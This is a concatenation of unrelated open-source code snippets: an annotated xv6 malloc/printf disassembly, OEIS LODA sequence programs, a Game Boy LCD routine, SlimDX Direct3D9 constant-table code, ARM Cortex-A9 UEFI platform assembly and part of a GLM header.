-0xc(%ebp),%eax 603: 0f b6 00 movzbl (%eax),%eax 606: 0f be c0 movsbl %al,%eax 609: 83 ec 08 sub $0x8,%esp 60c: 50 push %eax 60d: ff 75 08 pushl 0x8(%ebp) 610: e8 31 fe ff ff call 446 <putc> 615: 83 c4 10 add $0x10,%esp s++; 618: 83 45 f4 01 addl $0x1,-0xc(%ebp) } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 61c: 8b 45 f4 mov -0xc(%ebp),%eax 61f: 0f b6 00 movzbl (%eax),%eax 622: 84 c0 test %al,%al 624: 75 da jne 600 <printf+0xe3> 626: eb 65 jmp 68d <printf+0x170> putc(fd, *s); s++; } } else if(c == 'c'){ 628: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp) 62c: 75 1d jne 64b <printf+0x12e> putc(fd, *ap); 62e: 8b 45 e8 mov -0x18(%ebp),%eax 631: 8b 00 mov (%eax),%eax 633: 0f be c0 movsbl %al,%eax 636: 83 ec 08 sub $0x8,%esp 639: 50 push %eax 63a: ff 75 08 pushl 0x8(%ebp) 63d: e8 04 fe ff ff call 446 <putc> 642: 83 c4 10 add $0x10,%esp ap++; 645: 83 45 e8 04 addl $0x4,-0x18(%ebp) 649: eb 42 jmp 68d <printf+0x170> } else if(c == '%'){ 64b: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 64f: 75 17 jne 668 <printf+0x14b> putc(fd, c); 651: 8b 45 e4 mov -0x1c(%ebp),%eax 654: 0f be c0 movsbl %al,%eax 657: 83 ec 08 sub $0x8,%esp 65a: 50 push %eax 65b: ff 75 08 pushl 0x8(%ebp) 65e: e8 e3 fd ff ff call 446 <putc> 663: 83 c4 10 add $0x10,%esp 666: eb 25 jmp 68d <printf+0x170> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 668: 83 ec 08 sub $0x8,%esp 66b: 6a 25 push $0x25 66d: ff 75 08 pushl 0x8(%ebp) 670: e8 d1 fd ff ff call 446 <putc> 675: 83 c4 10 add $0x10,%esp putc(fd, c); 678: 8b 45 e4 mov -0x1c(%ebp),%eax 67b: 0f be c0 movsbl %al,%eax 67e: 83 ec 08 sub $0x8,%esp 681: 50 push %eax 682: ff 75 08 pushl 0x8(%ebp) 685: e8 bc fd ff ff call 446 <putc> 68a: 83 c4 10 add $0x10,%esp } state = 0; 68d: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 694: 83 45 f0 01 addl $0x1,-0x10(%ebp) 698: 8b 55 0c mov 0xc(%ebp),%edx 69b: 8b 45 f0 mov -0x10(%ebp),%eax 69e: 01 d0 add %edx,%eax 6a0: 0f b6 00 movzbl (%eax),%eax 6a3: 84 c0 test %al,%al 6a5: 0f 85 94 fe ff ff jne 53f <printf+0x22> putc(fd, c); } state = 0; } } } 6ab: 90 nop 6ac: c9 leave 6ad: c3 ret 000006ae <free>: static Header base; static Header *freep; void free(void *ap) { 6ae: 55 push %ebp 6af: 89 e5 mov %esp,%ebp 6b1: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 6b4: 8b 45 08 mov 0x8(%ebp),%eax 6b7: 83 e8 08 sub $0x8,%eax 6ba: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6bd: a1 8c 0b 00 00 mov 0xb8c,%eax 6c2: 89 45 fc mov %eax,-0x4(%ebp) 6c5: eb 24 jmp 6eb <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6c7: 8b 45 fc mov -0x4(%ebp),%eax 6ca: 8b 00 mov (%eax),%eax 6cc: 3b 45 fc cmp -0x4(%ebp),%eax 6cf: 77 12 ja 6e3 <free+0x35> 6d1: 8b 45 f8 mov -0x8(%ebp),%eax 6d4: 3b 45 fc cmp -0x4(%ebp),%eax 6d7: 77 24 ja 6fd <free+0x4f> 6d9: 8b 45 fc mov -0x4(%ebp),%eax 6dc: 8b 00 mov (%eax),%eax 6de: 3b 45 f8 cmp -0x8(%ebp),%eax 6e1: 77 1a ja 6fd <free+0x4f> free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6e3: 8b 45 fc mov -0x4(%ebp),%eax 6e6: 8b 00 mov (%eax),%eax 6e8: 89 45 fc mov %eax,-0x4(%ebp) 6eb: 8b 45 f8 mov -0x8(%ebp),%eax 6ee: 3b 45 fc cmp -0x4(%ebp),%eax 6f1: 76 d4 jbe 6c7 <free+0x19> 6f3: 8b 45 fc mov -0x4(%ebp),%eax 6f6: 8b 00 mov (%eax),%eax 6f8: 3b 45 f8 cmp -0x8(%ebp),%eax 6fb: 76 ca jbe 6c7 <free+0x19> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 6fd: 8b 45 f8 mov -0x8(%ebp),%eax 700: 8b 40 04 mov 0x4(%eax),%eax 703: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 70a: 8b 45 f8 mov -0x8(%ebp),%eax 70d: 01 c2 add %eax,%edx 70f: 8b 45 fc mov -0x4(%ebp),%eax 712: 8b 00 mov (%eax),%eax 714: 39 c2 cmp %eax,%edx 716: 75 24 jne 73c <free+0x8e> bp->s.size += p->s.ptr->s.size; 718: 8b 45 f8 mov -0x8(%ebp),%eax 71b: 8b 50 04 mov 0x4(%eax),%edx 71e: 8b 45 fc mov -0x4(%ebp),%eax 721: 8b 00 mov (%eax),%eax 723: 8b 40 04 mov 0x4(%eax),%eax 726: 01 c2 add %eax,%edx 728: 8b 45 f8 mov -0x8(%ebp),%eax 72b: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 72e: 8b 45 fc mov -0x4(%ebp),%eax 731: 8b 00 mov (%eax),%eax 733: 8b 10 mov (%eax),%edx 735: 8b 45 f8 mov -0x8(%ebp),%eax 738: 89 10 mov %edx,(%eax) 73a: eb 0a jmp 746 <free+0x98> } else bp->s.ptr = p->s.ptr; 73c: 8b 45 fc mov -0x4(%ebp),%eax 73f: 8b 10 mov (%eax),%edx 741: 8b 45 f8 mov -0x8(%ebp),%eax 744: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 746: 8b 45 fc mov -0x4(%ebp),%eax 749: 8b 40 04 mov 0x4(%eax),%eax 74c: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 753: 8b 45 fc mov -0x4(%ebp),%eax 756: 01 d0 add %edx,%eax 758: 3b 45 f8 cmp -0x8(%ebp),%eax 75b: 75 20 jne 77d <free+0xcf> p->s.size += bp->s.size; 75d: 8b 45 fc mov -0x4(%ebp),%eax 760: 8b 50 04 mov 0x4(%eax),%edx 763: 8b 45 f8 mov -0x8(%ebp),%eax 766: 8b 40 04 mov 0x4(%eax),%eax 769: 01 c2 add %eax,%edx 76b: 8b 45 fc mov -0x4(%ebp),%eax 76e: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 771: 8b 45 f8 mov -0x8(%ebp),%eax 774: 8b 10 mov (%eax),%edx 776: 8b 45 fc mov -0x4(%ebp),%eax 779: 89 10 mov %edx,(%eax) 77b: eb 08 jmp 785 <free+0xd7> } else p->s.ptr = bp; 77d: 8b 45 fc mov -0x4(%ebp),%eax 780: 8b 55 f8 mov -0x8(%ebp),%edx 783: 89 10 mov %edx,(%eax) freep = p; 785: 8b 45 fc mov -0x4(%ebp),%eax 788: a3 8c 0b 00 00 mov %eax,0xb8c } 78d: 90 nop 78e: c9 leave 78f: c3 ret 00000790 <morecore>: static Header* morecore(uint nu) { 790: 55 push %ebp 791: 89 e5 mov %esp,%ebp 793: 83 ec 18 sub $0x18,%esp char *p; Header *hp; if(nu < 4096) 796: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 79d: 77 07 ja 7a6 <morecore+0x16> nu = 4096; 79f: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 7a6: 8b 45 08 mov 0x8(%ebp),%eax 7a9: c1 e0 03 shl $0x3,%eax 7ac: 83 ec 0c sub $0xc,%esp 7af: 50 push %eax 7b0: e8 71 fc ff ff call 426 <sbrk> 7b5: 83 c4 10 add $0x10,%esp 7b8: 89 45 f4 mov %eax,-0xc(%ebp) if(p == (char*)-1) 7bb: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 7bf: 75 07 jne 7c8 <morecore+0x38> return 0; 7c1: b8 00 00 00 00 mov $0x0,%eax 7c6: eb 26 jmp 7ee <morecore+0x5e> hp = (Header*)p; 7c8: 8b 45 f4 mov -0xc(%ebp),%eax 7cb: 89 45 f0 mov %eax,-0x10(%ebp) hp->s.size = nu; 7ce: 8b 45 f0 mov -0x10(%ebp),%eax 7d1: 8b 55 08 mov 0x8(%ebp),%edx 7d4: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 7d7: 8b 45 f0 mov -0x10(%ebp),%eax 7da: 83 c0 08 add $0x8,%eax 7dd: 83 ec 0c sub $0xc,%esp 7e0: 50 push %eax 7e1: e8 c8 fe ff ff call 6ae <free> 7e6: 83 c4 10 add $0x10,%esp return freep; 7e9: a1 8c 0b 00 00 mov 0xb8c,%eax } 7ee: c9 leave 7ef: c3 ret 000007f0 <malloc>: void* malloc(uint nbytes) { 7f0: 55 push %ebp 7f1: 89 e5 mov %esp,%ebp 7f3: 83 ec 18 sub $0x18,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 7f6: 8b 45 08 mov 0x8(%ebp),%eax 7f9: 83 c0 07 add $0x7,%eax 7fc: c1 e8 03 shr $0x3,%eax 7ff: 83 c0 01 add $0x1,%eax 802: 89 45 ec mov %eax,-0x14(%ebp) if((prevp = freep) == 0){ 805: a1 8c 0b 00 00 mov 0xb8c,%eax 80a: 89 45 f0 mov %eax,-0x10(%ebp) 80d: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 811: 75 23 jne 836 <malloc+0x46> base.s.ptr = freep = prevp = &base; 813: c7 45 f0 84 0b 00 00 movl $0xb84,-0x10(%ebp) 81a: 8b 45 f0 mov -0x10(%ebp),%eax 81d: a3 8c 0b 00 00 mov %eax,0xb8c 822: a1 8c 0b 00 00 mov 0xb8c,%eax 827: a3 84 0b 00 00 mov %eax,0xb84 base.s.size = 0; 82c: c7 05 88 0b 00 00 00 movl $0x0,0xb88 833: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 836: 8b 45 f0 mov -0x10(%ebp),%eax 839: 8b 00 mov (%eax),%eax 83b: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ 83e: 8b 45 f4 mov -0xc(%ebp),%eax 841: 8b 40 04 mov 0x4(%eax),%eax 844: 3b 45 ec cmp -0x14(%ebp),%eax 847: 72 4d jb 896 <malloc+0xa6> if(p->s.size == nunits) 849: 8b 45 f4 mov -0xc(%ebp),%eax 84c: 8b 40 04 mov 0x4(%eax),%eax 84f: 3b 45 ec cmp -0x14(%ebp),%eax 852: 75 0c jne 860 <malloc+0x70> prevp->s.ptr = p->s.ptr; 854: 8b 45 f4 mov -0xc(%ebp),%eax 857: 8b 10 mov (%eax),%edx 859: 8b 45 f0 mov -0x10(%ebp),%eax 85c: 89 10 mov %edx,(%eax) 85e: eb 26 jmp 886 <malloc+0x96> else { p->s.size -= nunits; 860: 8b 45 f4 mov -0xc(%ebp),%eax 863: 8b 40 04 mov 0x4(%eax),%eax 866: 2b 45 ec sub -0x14(%ebp),%eax 869: 89 c2 mov %eax,%edx 86b: 8b 45 f4 mov -0xc(%ebp),%eax 86e: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 871: 8b 45 f4 mov -0xc(%ebp),%eax 874: 8b 40 04 mov 0x4(%eax),%eax 877: c1 e0 03 shl $0x3,%eax 87a: 01 45 f4 add %eax,-0xc(%ebp) p->s.size = nunits; 87d: 8b 45 f4 mov -0xc(%ebp),%eax 880: 8b 55 ec mov -0x14(%ebp),%edx 883: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; 886: 8b 45 f0 mov -0x10(%ebp),%eax 889: a3 8c 0b 00 00 mov %eax,0xb8c return (void*)(p + 1); 88e: 8b 45 f4 mov -0xc(%ebp),%eax 891: 83 c0 08 add $0x8,%eax 894: eb 3b jmp 8d1 <malloc+0xe1> } if(p == freep) 896: a1 8c 0b 00 00 mov 0xb8c,%eax 89b: 39 45 f4 cmp %eax,-0xc(%ebp) 89e: 75 1e jne 8be <malloc+0xce> if((p = morecore(nunits)) == 0) 8a0: 83 ec 0c sub $0xc,%esp 8a3: ff 75 ec pushl -0x14(%ebp) 8a6: e8 e5 fe ff ff call 790 <morecore> 8ab: 83 c4 10 add $0x10,%esp 8ae: 89 45 f4 mov %eax,-0xc(%ebp) 8b1: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 8b5: 75 07 jne 8be <malloc+0xce> return 0; 8b7: b8 00 00 00 00 mov $0x0,%eax 8bc: eb 13 jmp 8d1 <malloc+0xe1> nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 8be: 8b 45 f4 mov -0xc(%ebp),%eax 8c1: 89 45 f0 mov %eax,-0x10(%ebp) 8c4: 8b 45 f4 mov -0xc(%ebp),%eax 8c7: 8b 00 mov (%eax),%eax 8c9: 89 45 f4 mov %eax,-0xc(%ebp) return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } 8cc: e9 6d ff ff ff jmp 83e <malloc+0x4e> } 8d1: c9 leave 8d2: c3 ret
; A347792: Beatty sequence for 2^(2/3). ; Submitted by Jamie Morken(s1) ; 0,1,3,4,6,7,9,11,12,14,15,17,19,20,22,23,25,26,28,30,31,33,34,36,38,39,41,42,44,46,47,49,50,52,53,55,57,58,60,61,63,65,66,68,69,71,73,74,76,77,79,80,82,84,85,87,88,90,92,93,95,96,98,100,101,103 mul $0,840 div $0,529
; A053737: Sum of digits of (n written in base 4). ; 0,1,2,3,1,2,3,4,2,3,4,5,3,4,5,6,1,2,3,4,2,3,4,5,3,4,5,6,4,5,6,7,2,3,4,5,3,4,5,6,4,5,6,7,5,6,7,8,3,4,5,6,4,5,6,7,5,6,7,8,6,7,8,9,1,2,3,4,2,3,4,5,3,4,5,6,4,5,6,7,2,3,4,5,3,4,5,6,4,5,6,7,5,6,7,8,3,4,5,6 mov $2,$0 sub $0,1 lpb $0 div $2,4 mov $3,3 mul $3,$2 sub $0,$3 lpe add $0,1
MODULE lcd PUBLIC lcd SECTION code_driver INCLUDE "target/gb/def/gb_globals.def" ;; Is the STAT check required, as we are already in the HBL? lcd: LDH A,(STAT) BIT 1,A JR NZ,lcd LDH A,(LCDC) AND @11101111 ; Set BG Chr to 0x8800 LDH (LCDC),A RET
; A233107: Number of n X 2 0..5 arrays with no element x(i,j) adjacent to value 5-x(i,j) horizontally or vertically, top left element zero, and 1 appearing before 2 3 and 4, and 2 appearing before 3 in row major order. ; Submitted by Jon Maiga ; 2,19,313,6046,123352,2565169,53692063,1126297996,23643610702,496455294319,10425137467813,218924920833946,4597402575582052,96545308753707469,2027450466493247563,42576452675015933896,894105456325938757402,18776214233898942924619,394300496469257404551313,8280310408756062717517846,173886518464188917621456752,3651616886910148473925665769,76683954619248386379564499063,1610363046963162992960733105796,33817623985939051005104545600102,710170103702708468177699510250919,14913572177742796611225218083810813 mov $1,3 pow $1,$0 add $1,1 mov $2,7 pow $2,$0 mul $1,$2 mul $1,5 add $1,$2 div $1,8 mov $0,$1 add $0,1
#include "stdafx.h" /* * Copyright (c) 2007-2012 SlimDX Group * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include <windows.h> #include <d3d9.h> #include <d3dx9.h> #include <vcclr.h> #include "../stack_array.h" #include "../ComObject.h" #include "../Utilities.h" #include "../DataStream.h" #include "Direct3D9Exception.h" #include "Effect9.h" #include "ConstantTable.h" #include "Device.h" using namespace System; using namespace System::Globalization; namespace SlimDX { namespace Direct3D9 { EffectHandle^ ConstantTable::GetConstant(SlimDX::Direct3D9::EffectHandle ^handle, int index) { D3DXHANDLE parentHandle = handle != nullptr ? handle->InternalHandle : NULL; D3DXHANDLE result = InternalPointer->GetConstant( parentHandle, index ); GC::KeepAlive( handle ); if( result == NULL ) return nullptr; return gcnew EffectHandle( result ); } EffectHandle^ ConstantTable::GetConstant(SlimDX::Direct3D9::EffectHandle ^handle, String^ name ) { array<unsigned char>^ rawName = System::Text::ASCIIEncoding::ASCII->GetBytes( name ); pin_ptr<unsigned char> pinnedName = &rawName[0]; D3DXHANDLE parentHandle = handle != nullptr ? handle->InternalHandle : NULL; D3DXHANDLE result = InternalPointer->GetConstantByName( parentHandle, reinterpret_cast<const char*>( pinnedName ) ); GC::KeepAlive( handle ); if( result == NULL ) return nullptr; return gcnew EffectHandle( result ); } EffectHandle^ ConstantTable::GetConstantElement( EffectHandle^ handle, int index ) { D3DXHANDLE parentHandle = handle != nullptr ? handle->InternalHandle : NULL; D3DXHANDLE result = InternalPointer->GetConstantElement( parentHandle, index ); GC::KeepAlive( handle ); if( result == NULL ) return nullptr; return gcnew EffectHandle( result ); } ConstantDescription ConstantTable::GetConstantDescription( EffectHandle^ handle ) { D3DXCONSTANT_DESC nativeDesc; ConstantDescription description; D3DXHANDLE nativeHandle = handle != nullptr ? handle->InternalHandle : NULL; unsigned int count = 1; HRESULT hr = InternalPointer->GetConstantDesc( nativeHandle, &nativeDesc, &count ); GC::KeepAlive( handle ); if( RECORD_D3D9( hr ).IsFailure ) return ConstantDescription(); description.Initialize( nativeDesc ); return description; } array<ConstantDescription>^ ConstantTable::GetConstantDescriptionArray( EffectHandle^ handle ) { D3DXHANDLE nativeHandle = handle != nullptr ? handle->InternalHandle : NULL; unsigned int count = 0; HRESULT hr = InternalPointer->GetConstantDesc( nativeHandle, NULL, &count ); if( RECORD_D3D9( hr ).IsFailure ) return nullptr; stack_array<D3DXCONSTANT_DESC> nativeDescArray = stackalloc( D3DXCONSTANT_DESC, count ); hr = InternalPointer->GetConstantDesc( nativeHandle, &nativeDescArray[0], &count ); if( RECORD_D3D9( hr ).IsFailure ) return nullptr; array<ConstantDescription>^ descArray = gcnew array<ConstantDescription>( count ); for( unsigned int i = 0; i < count; ++i ) { descArray[i].Initialize( nativeDescArray[i] ); } GC::KeepAlive( handle ); return descArray; } int ConstantTable::GetSamplerIndex( EffectHandle^ sampler ) { D3DXHANDLE handle = sampler != nullptr ? sampler->InternalHandle : NULL; int result = InternalPointer->GetSamplerIndex( handle ); GC::KeepAlive( sampler ); return result; } DataStream^ ConstantTable::Buffer::get() { return gcnew DataStream( InternalPointer->GetBufferPointer(), InternalPointer->GetBufferSize(), true, true, false ); } Result ConstantTable::SetDefaults( Device^ device ) { HRESULT hr = InternalPointer->SetDefaults( device->InternalPointer ); return RECORD_D3D9( hr ); } generic<typename T> where T : value class Result ConstantTable::SetValue( Device^ device, EffectHandle^ parameter, T value ) { HRESULT hr; D3DXHANDLE handle = parameter != nullptr ? parameter->InternalHandle : NULL; if( T::typeid == bool::typeid ) { BOOL newValue = Convert::ToInt32( value, CultureInfo::InvariantCulture ); hr = InternalPointer->SetBool( device->InternalPointer, handle, newValue ); } else if( T::typeid == float::typeid ) { hr = InternalPointer->SetFloat( device->InternalPointer, handle, static_cast<FLOAT>( value ) ); } else if( T::typeid == int::typeid ) { hr = InternalPointer->SetInt( device->InternalPointer, handle, static_cast<INT>( value ) ); } else if( T::typeid == Matrix::typeid ) { hr = InternalPointer->SetMatrix( device->InternalPointer, handle, reinterpret_cast<D3DXMATRIX*>( &value ) ); } else if( T::typeid == Vector4::typeid ) { hr = InternalPointer->SetVector( device->InternalPointer, handle, reinterpret_cast<D3DXVECTOR4*>( &value ) ); } else { hr = InternalPointer->SetValue( device->InternalPointer, handle, &value, static_cast<DWORD>( sizeof(T) ) ); } GC::KeepAlive( parameter ); return RECORD_D3D9( hr ); } generic<typename T> where T : value class Result ConstantTable::SetValue( Device^ device, EffectHandle^ parameter, array<T>^ values ) { HRESULT hr; D3DXHANDLE handle = parameter != nullptr ? parameter->InternalHandle : NULL; if( T::typeid == bool::typeid ) { array<BOOL>^ newValues = Array::ConvertAll<bool, int>( safe_cast<array<bool>>( values ), gcnew Converter<bool, int>( Convert::ToInt32 ) ); pin_ptr<BOOL> pinnedValues = &newValues[0]; hr = InternalPointer->SetBoolArray( device->InternalPointer, handle, pinnedValues, values->Length ); } else if( T::typeid == float::typeid ) { pin_ptr<T> pinnedData = &values[0]; hr = InternalPointer->SetFloatArray( device->InternalPointer, handle, reinterpret_cast<FLOAT*>( pinnedData ), values->Length ); } else if( T::typeid == int::typeid ) { pin_ptr<T> pinnedData = &values[0]; hr = InternalPointer->SetIntArray( device->InternalPointer, handle, reinterpret_cast<INT*>( pinnedData ), values->Length ); } else if( T::typeid == Matrix::typeid ) { pin_ptr<T> pinnedData = &values[0]; hr = InternalPointer->SetMatrixArray( device->InternalPointer, handle, reinterpret_cast<D3DXMATRIX*>( pinnedData ), values->Length ); } else if( T::typeid == Vector4::typeid ) { pin_ptr<T> pinnedData = &values[0]; hr = InternalPointer->SetVectorArray( device->InternalPointer, handle, reinterpret_cast<D3DXVECTOR4*>( pinnedData ), values->Length ); } else { pin_ptr<T> pinnedData = &values[0]; hr = InternalPointer->SetValue( device->InternalPointer, handle, pinnedData, static_cast<DWORD>( sizeof(T) ) * values->Length ); } GC::KeepAlive( parameter ); return RECORD_D3D9( hr ); } ConstantTableDescription ConstantTable::Description::get() { D3DXCONSTANTTABLE_DESC nativeDesc; ConstantTableDescription description; HRESULT hr = InternalPointer->GetDesc( &nativeDesc ); if( RECORD_D3D9( hr ).IsFailure ) return ConstantTableDescription(); description.Creator = gcnew String( nativeDesc.Creator ); description.Version = gcnew Version( D3DSHADER_VERSION_MAJOR( nativeDesc.Version ), D3DSHADER_VERSION_MINOR( nativeDesc.Version ) ); description.Constants = nativeDesc.Constants; return description; } } }
; A232508: Number of (n+1) X (1+1) 0..2 arrays with every element next to itself plus and minus one within the range 0..2 horizontally, diagonally or antidiagonally, with no adjacent elements equal. ; Submitted by Jon Maiga ; 4,4,8,16,28,52,96,176,324,596,1096,2016,3708,6820,12544,23072,42436,78052,143560,264048,485660,893268,1642976,3021904,5558148,10223028,18803080,34584256,63610364,116997700,215192320,395800384,727990404,1338983108,2462773896,4529747408,8331504412,15324025716,28185277536,51840807664,95350110916,175376196116,322567114696,593293421728,1091236732540,2007097268964,3691627423232,6789961424736,12488686116932,22970274964900,42248922506568,77707883588400,142927081059868,262883887154836,483518851803104 trn $0,1 seq $0,301657 ; Number of nX3 0..1 arrays with every element equal to 0, 1 or 4 horizontally or vertically adjacent elements, with upper left element zero. sub $0,2 mul $0,4
; A032518: Sum of the integer part of 10/3-th roots of integers less than n. ; 0,1,2,3,4,5,6,7,8,9,10,12,14,16,18,20,22,24,26,28,30,32,34,36,38,40,42,44,46,48,50,52,54,56,58,60,62,64,66,69,72,75,78,81,84,87,90,93,96,99,102,105,108,111,114,117,120,123,126,129,132,135,138,141,144,147 lpb $0 add $1,$0 sub $0,1 add $2,6 mul $2,2 sub $2,3 trn $0,$2 lpe
// // Copyright (c) 2011-2013, ARM Limited. All rights reserved. // // This program and the accompanying materials // are licensed and made available under the terms and conditions of the BSD License // which accompanies this distribution. The full text of the license may be found at // http://opensource.org/licenses/bsd-license.php // // THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, // WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. // // #include <Base.h> #include <Library/ArmLib.h> #include <Library/PcdLib.h> #include <Chipset/ArmCortexA9.h> #include <AutoGen.h> INCLUDE AsmMacroIoLib.inc EXPORT ArmPlatformPeiBootAction EXPORT ArmGetCpuCountPerCluster EXPORT ArmPlatformIsPrimaryCore EXPORT ArmPlatformGetPrimaryCoreMpId EXPORT ArmPlatformGetCorePosition AREA RTSMHelper, CODE, READONLY ArmPlatformPeiBootAction FUNCTION bx lr ENDFUNC // IN None // OUT r0 = SCU Base Address ArmGetScuBaseAddress FUNCTION // Read Configuration Base Address Register. ArmCBar cannot be called to get // the Configuration BAR as a stack is not necessary setup. The SCU is at the // offset 0x0000 from the Private Memory Region. mrc p15, 4, r0, c15, c0, 0 bx lr ENDFUNC //UINTN //ArmPlatformGetPrimaryCoreMpId ( // VOID // ); ArmPlatformGetPrimaryCoreMpId FUNCTION mov32 r0, FixedPcdGet32(PcdArmPrimaryCore) bx lr ENDFUNC // IN None // OUT r0 = number of cores present in the system ArmGetCpuCountPerCluster FUNCTION stmfd SP!, {r1-r2} // Read CP15 MIDR mrc p15, 0, r1, c0, c0, 0 // Check if the CPU is A15 mov r1, r1, LSR #4 mov r0, #ARM_CPU_TYPE_MASK and r1, r1, r0 mov r0, #ARM_CPU_TYPE_A15 cmp r1, r0 beq _Read_cp15_reg _CPU_is_not_A15 mov r2, lr ; Save link register bl ArmGetScuBaseAddress ; Read SCU Base Address mov lr, r2 ; Restore link register val ldr r0, [r0, #A9_SCU_CONFIG_OFFSET] ; Read SCU Config reg to get CPU count b _Return _Read_cp15_reg mrc p15, 1, r0, c9, c0, 2 ; Read C9 register of CP15 to get CPU count lsr r0, #24 _Return and r0, r0, #3 // Add '1' to the number of CPU on the Cluster add r0, r0, #1 ldmfd SP!, {r1-r2} bx lr ENDFUNC //UINTN //ArmPlatformIsPrimaryCore ( // IN UINTN MpId // ); ArmPlatformIsPrimaryCore FUNCTION mov32 r1, FixedPcdGet32(PcdArmPrimaryCoreMask) and r0, r0, r1 mov32 r1, FixedPcdGet32(PcdArmPrimaryCore) ldr r1, [r1] cmp r0, r1 moveq r0, #1 movne r0, #0 bx lr ENDFUNC //UINTN //ArmPlatformGetCorePosition ( // IN UINTN MpId // ); ArmPlatformGetCorePosition FUNCTION and r1, r0, #ARM_CORE_MASK and r0, r0, #ARM_CLUSTER_MASK add r0, r1, r0, LSR #7 bx lr ENDFUNC END
/////////////////////////////////////////////////////////////////////////////////// /// OpenGL Mathematics (glm.g-truc.net) /// /// Copyright (c) 2005 - 2015 G-Truc Creation (www.g-truc.net) /// Permission is hereby granted, free of charge, to any person obtaining a copy /// of this software and associated documentation files (the "Software"), to deal /// in the Software without restriction, including without limitation the rights /// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell /// copies of the Software, and to permit persons to whom the Software is /// furnished to do so, subject to the following conditions: /// /// The above copyright notice and this permission notice shall be included in /// all copies or substantial portions of the Software. /// /// Restrictions: /// By making use of the Software for military purposes, you choose to make /// a Bunny unhappy. /// /// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR /// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, /// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE /// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER /// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, /// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN /// THE SOFTWARE. /// /// @ref gtx_associated_min_max /// @file glm/gtx/associated_min_max.hpp /// @date 2008-03-10 / 2014-10-11 /// @author Christophe Riccio /// /// @see core (dependence) /// @see gtx_extented_min_max (dependence) /// /// @defgroup gtx_associated_min_max GLM_GTX_associated_min_max /// @ingroup gtx /// /// @brief Min and max functions that return associated values not the compared onces. /// <glm/gtx/associated_min_max.hpp> need to be included to use these functionalities. /////////////////////////////////////////////////////////////////////////////////// #pragma once // Dependency: #include "../glm.hpp" #if(defined(GLM_MESSAGES) && !defined(GLM_EXT_INCLUDED)) # pragma message("GLM: GLM_GTX_associated_min_max extension included") #endif namespace glm { /// @addtogroup gtx_associated_min_max /// @{ /// Minimum comparison between 2 variables and returns 2 associated variable values /// @see gtx_associated_min_max template<typename T, typename U, precision P> GLM_FUNC_DECL U associatedMin(T x, U a, T y, U b); /// Minimum comparison between 2 variables and returns 2 associated variable values /// @see gtx_associated_min_max template<typename T, typename U, precision P, template <typename, precision> class vecType> GLM_FUNC_DECL tvec2<U, P> associatedMin( vecType<T, P> const & x, vecType<U, P> const & a, vecType<T, P> const & y, vecType<U, P> const & b); 